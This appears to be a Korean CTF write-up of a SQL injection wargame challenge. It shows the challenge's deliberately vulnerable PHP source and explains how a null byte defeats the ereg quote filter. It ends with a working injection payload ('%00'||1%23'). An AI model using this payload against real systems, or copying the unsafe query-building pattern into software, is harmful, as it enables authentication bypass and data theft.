query : select id from prob_zombie_assassin where id='' and pw=''

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/\\\|prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/\\\|prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(@
ereg("'",$_GET[id])) exit("HeHe"); 
  if(@
ereg("'",$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) solve("zombie_assassin"); 
  
highlight_file(__FILE__); 
?>



  if($result['id']) solve("zombie_assassin"); 


쿼리의 결과값 id 값이 뭐든 출력되면 문제가 풀립니다. 다만 id와 pw 파라미터에 싱글쿼터가 ereg 함수로 필터링되어있네요. ereg 함수는 널바이트까지 인식하여 해당 문자열을 비교합니다. 때문에 널바이트 이후에 필터링 대상 문자열을 넣으면 해당 문자열은 필터링하지 않습니다. 우리는 이를 이용하여 문제를 해결할 수 있습니다.



?id=%00'||1%23

payload







+ Recent posts